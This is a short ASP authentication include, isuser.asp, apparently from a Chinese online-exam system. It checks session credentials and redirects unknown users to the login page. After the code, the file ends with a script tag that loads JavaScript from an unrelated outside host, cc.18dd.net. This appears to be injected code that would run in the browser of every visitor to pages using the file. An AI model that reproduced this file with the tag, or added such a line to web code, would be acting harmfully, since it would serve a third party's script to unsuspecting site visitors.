isuser.asp

来自「通过在线考试系统使得老师及管理者快速高效地完成考试及教学任务」· ASP 代码 · 共 19 行

<!--#include file="conndb.asp"-->
<!--#include file="class/EUsers.asp"-->
<% 
  '如果是用户则显示
  loginname = Trim(Session("UserName"))
  password = Trim(Session("UserPwd"))
  Set usr = New EUsers
  '用户名是否为空
  If loginname <> "" Then
    usr.UserName = loginname
    usr.UserPwd = password
    If usr.HaveUser(0)=0 Then  ' 如果非用户
      Response.Redirect "login.asp"
    End If
   Else
     Response.Redirect "login.asp"
   End If
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>